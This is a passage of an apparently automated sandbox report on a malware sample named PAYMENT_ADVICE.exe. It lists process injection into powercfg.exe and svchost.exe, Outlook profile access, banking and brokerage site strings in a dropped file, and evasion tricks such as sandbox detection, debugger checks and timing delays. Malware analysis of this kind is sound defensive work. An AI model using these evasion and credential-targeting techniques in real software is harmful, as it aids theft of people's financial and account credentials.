                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: umpdc.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: ieframe.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: netapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: wkscli.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: mlang.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: winsqlite3.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: vaultcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: dpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32Jump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
                Source: PAYMENT_ADVICE.exeStatic file information: File size 1288192 > 1048576
                Source: PAYMENT_ADVICE.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                Source: PAYMENT_ADVICE.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                Source: PAYMENT_ADVICE.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                Source: PAYMENT_ADVICE.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: PAYMENT_ADVICE.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                Source: PAYMENT_ADVICE.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                Source: PAYMENT_ADVICE.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: Binary string: powercfg.pdbGCTL source: svchost.exe, 00000002.00000003.2561496091.000000000322D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2561190255.000000000321B000.00000004.00000020.00020000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000005.00000002.3886118942.00000000016B8000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: UaxTqwGUmcKB.exe, 00000005.00000002.3885555947.0000000000BAE000.00000002.00000001.01000000.00000005.sdmp, UaxTqwGUmcKB.exe, 00000007.00000002.3886003689.0000000000BAE000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: PAYMENT_ADVICE.exe, 00000000.00000003.2047419042.0000000003850000.00000004.00001000.00020000.00000000.sdmp, PAYMENT_ADVICE.exe, 00000000.00000003.2046228593.0000000003350000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2490345011.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2592843012.000000000399E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2592843012.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2492330407.0000000003600000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2592862521.0000000002DDC000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.3886844934.0000000003130000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.3886844934.00000000032CE000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2595523560.0000000002F88000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: PAYMENT_ADVICE.exe, 00000000.00000003.2047419042.0000000003850000.00000004.00001000.00020000.00000000.sdmp, PAYMENT_ADVICE.exe, 00000000.00000003.2046228593.0000000003350000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2490345011.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2592843012.000000000399E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2592843012.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2492330407.0000000003600000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, powercfg.exe, 00000006.00000003.2592862521.0000000002DDC000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.3886844934.0000000003130000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.3886844934.00000000032CE000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2595523560.0000000002F88000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: powercfg.exe, 00000006.00000002.3885733273.0000000002A50000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.3887180390.000000000375C000.00000004.10000000.00040000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000007.00000000.2662133744.0000000002E8C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2885298117.0000000039E0C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: powercfg.exe, 00000006.00000002.3885733273.0000000002A50000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.3887180390.000000000375C000.00000004.10000000.00040000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000007.00000000.2662133744.0000000002E8C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2885298117.0000000039E0C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: powercfg.pdb source: svchost.exe, 00000002.00000003.2561496091.000000000322D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2561190255.000000000321B000.00000004.00000020.00020000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000005.00000002.3886118942.00000000016B8000.00000004.00000020.00020000.00000000.sdmp
                Source: PAYMENT_ADVICE.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                Source: PAYMENT_ADVICE.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                Source: PAYMENT_ADVICE.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                Source: PAYMENT_ADVICE.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                Source: PAYMENT_ADVICE.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00344B37 LoadLibraryA,GetProcAddress,0_2_00344B37
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_0034C4C6 push A30034BAh; retn 0034h0_2_0034C50D
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00368945 push ecx; ret 0_2_00368958
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042D863 push edi; iretd 2_2_0042D86C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004051C0 pushad ; ret 2_2_004051CB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00414A5F push edx; retf 2_2_00414A60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040D48E push cs; ret 2_2_0040D4BB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00424CB3 push edi; ret 2_2_00424CD5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004164BD push ecx; ret 2_2_004164DD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00403570 push eax; ret 2_2_00403572
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00414D03 push ss; ret 2_2_00414D04
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00418712 push ebp; iretd 2_2_0041871A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0380225F pushad ; ret 2_2_038027F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038027FA pushad ; ret 2_2_038027F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038309AD push ecx; mov dword ptr [esp], ecx2_2_038309B6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0380283D push eax; iretd 2_2_03802858
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03801368 push eax; iretd 2_2_03801369
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03B9D3BC push ebp; iretd 5_2_03B9D3C4
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03BA930F push edi; iretd 5_2_03BA9310
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03B9FB5F push cs; iretd 5_2_03B9FB66
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03B92138 push cs; ret 5_2_03B92165
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03B9B167 push ecx; ret 5_2_03B9B187
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03BA995D push edi; ret 5_2_03BA997F
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03BA494F push esp; iretd 5_2_03BA4950
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exeCode function: 5_2_03BB250D push edi; iretd 5_2_03BB2516
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0313225F pushad ; ret 6_2_031327F9
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031327FA pushad ; ret 6_2_031327F9
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_031609AD push ecx; mov dword ptr [esp], ecx6_2_031609B6
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0313283D push eax; iretd 6_2_03132858
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_03131366 push eax; iretd 6_2_03131369
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0277A2F0 push edi; iretd 6_2_0277A2F9
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0276C732 push esp; iretd 6_2_0276C733
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003448D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_003448D7
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003C5376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_003C5376
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00363187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00363187
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Switches to a custom stack to bypass stack traces
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeAPI/Special instruction interceptor: Address: D93244
                Source: C:\Windows\SysWOW64\powercfg.exeAPI/Special instruction interceptor: Address: 7FF8C88ED324
                Source: C:\Windows\SysWOW64\powercfg.exeAPI/Special instruction interceptor: Address: 7FF8C88ED7E4
                Source: C:\Windows\SysWOW64\powercfg.exeAPI/Special instruction interceptor: Address: 7FF8C88ED944
                Source: C:\Windows\SysWOW64\powercfg.exeAPI/Special instruction interceptor: Address: 7FF8C88ED504
                Source: C:\Windows\SysWOW64\powercfg.exeAPI/Special instruction interceptor: Address: 7FF8C88ED544
                Source: C:\Windows\SysWOW64\powercfg.exeAPI/Special instruction interceptor: Address: 7FF8C88ED1E4
                Source: C:\Windows\SysWOW64\powercfg.exeAPI/Special instruction interceptor: Address: 7FF8C88F0154
                Source: C:\Windows\SysWOW64\powercfg.exeAPI/Special instruction interceptor: Address: 7FF8C88EDA44
                Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
                Source: PAYMENT_ADVICE.exe, 00000000.00000003.2038394805.000000000104E000.00000004.00000020.00020000.00000000.sdmp, PAYMENT_ADVICE.exe, 00000000.00000002.2051088774.000000000104E000.00000004.00000020.00020000.00000000.sdmp, PAYMENT_ADVICE.exe, 00000000.00000003.2040179068.000000000104E000.00000004.00000020.00020000.00000000.sdmp, PAYMENT_ADVICE.exe, 00000000.00000003.2038209181.000000000104E000.00000004.00000020.00020000.00000000.sdmp, PAYMENT_ADVICE.exe, 00000000.00000003.2037807903.0000000000FF0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCMON.EXE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0387096E rdtsc 2_2_0387096E
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_0-102329
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeAPI coverage: 4.7 %
                Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.6 %
                Source: C:\Windows\SysWOW64\powercfg.exeAPI coverage: 2.6 %
                Source: C:\Windows\SysWOW64\powercfg.exe TID: 2676Thread sleep count: 37 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exe TID: 2676Thread sleep time: -74000s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe TID: 6556Thread sleep time: -40000s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe TID: 6556Thread sleep time: -31500s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeLast function: Thread delayed
                Source: C:\Windows\SysWOW64\powercfg.exeLast function: Thread delayed
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003A445A GetFileAttributesW,FindFirstFileW,FindClose,0_2_003A445A
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003AC6D1 FindFirstFileW,FindClose,0_2_003AC6D1
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003AC75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_003AC75C
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003AEF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_003AEF95
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003AF0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_003AF0F2
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003AF3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_003AF3F3
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003A37EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_003A37EF
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003A3B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_003A3B12
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003ABCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_003ABCBC
                Source: C:\Windows\SysWOW64\powercfg.exeCode function: 6_2_0276C9B0 FindFirstFileW,FindNextFileW,FindClose,6_2_0276C9B0
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003449A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_003449A0
                Source: 320lF200.6.drBinary or memory string: Canara Transaction PasswordVMware20,11696428655x
                Source: 320lF200.6.drBinary or memory string: discord.comVMware20,11696428655f
                Source: 320lF200.6.drBinary or memory string: interactivebrokers.co.inVMware20,11696428655d
                Source: 320lF200.6.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
                Source: 320lF200.6.drBinary or memory string: global block list test formVMware20,11696428655
                Source: 320lF200.6.drBinary or memory string: Canara Transaction PasswordVMware20,11696428655}
                Source: 320lF200.6.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
                Source: 320lF200.6.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
                Source: 320lF200.6.drBinary or memory string: account.microsoft.com/profileVMware20,11696428655u
                Source: 320lF200.6.drBinary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
                Source: 320lF200.6.drBinary or memory string: www.interactivebrokers.comVMware20,11696428655}
                Source: 320lF200.6.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
                Source: 320lF200.6.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
                Source: 320lF200.6.drBinary or memory string: outlook.office365.comVMware20,11696428655t
                Source: 320lF200.6.drBinary or memory string: microsoft.visualstudio.comVMware20,11696428655x
                Source: powercfg.exe, 00000006.00000002.3885733273.0000000002A50000.00000004.00000020.00020000.00000000.sdmp, UaxTqwGUmcKB.exe, 00000007.00000002.3886444601.0000000000FC9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: 320lF200.6.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655
                Source: 320lF200.6.drBinary or memory string: outlook.office.comVMware20,11696428655s
                Source: 320lF200.6.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
                Source: 320lF200.6.drBinary or memory string: ms.portal.azure.comVMware20,11696428655
                Source: 320lF200.6.drBinary or memory string: AMC password management pageVMware20,11696428655
                Source: 320lF200.6.drBinary or memory string: tasks.office.comVMware20,11696428655o
                Source: 320lF200.6.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
                Source: 320lF200.6.drBinary or memory string: turbotax.intuit.comVMware20,11696428655t
                Source: 320lF200.6.drBinary or memory string: interactivebrokers.comVMware20,11696428655
                Source: 320lF200.6.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
                Source: 320lF200.6.drBinary or memory string: dev.azure.comVMware20,11696428655j
                Source: 320lF200.6.drBinary or memory string: netportal.hdfcbank.comVMware20,11696428655
                Source: 320lF200.6.drBinary or memory string: Interactive Brokers - HKVMware20,11696428655]
                Source: 320lF200.6.drBinary or memory string: bankofamerica.comVMware20,11696428655x
                Source: 320lF200.6.drBinary or memory string: trackpan.utiitsl.comVMware20,11696428655h
                Source: firefox.exe, 00000008.00000002.2886925382.00000206F9E2D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllff
                Source: 320lF200.6.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696428655
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeAPI call chain: ExitProcess graph end nodegraph_0-101689
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeAPI call chain: ExitProcess graph end nodegraph_0-101260
                Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\powercfg.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0387096E rdtsc 2_2_0387096E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00417ED3 LdrLoadDll,2_2_00417ED3
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_003B3F09 BlockInput,0_2_003B3F09
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00343B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00343B3A
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00375A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,0_2_00375A7C
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00344B37 LoadLibraryA,GetProcAddress,0_2_00344B37
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00D934B0 mov eax, dword ptr fs:[00000030h]0_2_00D934B0
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00D93510 mov eax, dword ptr fs:[00000030h]0_2_00D93510
                Source: C:\Users\user\Desktop\PAYMENT_ADVICE.exeCode function: 0_2_00D91E70 mov eax, dword ptr fs:[00000030h]0_2_00D91E70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382E388 mov eax, dword ptr fs:[00000030h]2_2_0382E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382E388 mov eax, dword ptr fs:[00000030h]2_2_0382E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382E388 mov eax, dword ptr fs:[00000030h]2_2_0382E388
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385438F mov eax, dword ptr fs:[00000030h]2_2_0385438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385438F mov eax, dword ptr fs:[00000030h]2_2_0385438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03828397 mov eax, dword ptr fs:[00000030h]2_2_03828397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03828397 mov eax, dword ptr fs:[00000030h]2_2_03828397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03828397 mov eax, dword ptr fs:[00000030h]2_2_03828397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EC3CD mov eax, dword ptr fs:[00000030h]2_2_038EC3CD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A3C0 mov eax, dword ptr fs:[00000030h]2_2_0383A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A3C0 mov eax, dword ptr fs:[00000030h]2_2_0383A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A3C0 mov eax, dword ptr fs:[00000030h]2_2_0383A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A3C0 mov eax, dword ptr fs:[00000030h]2_2_0383A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A3C0 mov eax, dword ptr fs:[00000030h]2_2_0383A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A3C0 mov eax, dword ptr fs:[00000030h]2_2_0383A3C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038383C0 mov eax, dword ptr fs:[00000030h]2_2_038383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038383C0 mov eax, dword ptr fs:[00000030h]2_2_038383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038383C0 mov eax, dword ptr fs:[00000030h]2_2_038383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038383C0 mov eax, dword ptr fs:[00000030h]2_2_038383C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B63C0 mov eax, dword ptr fs:[00000030h]2_2_038B63C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE3DB mov eax, dword ptr fs:[00000030h]2_2_038DE3DB
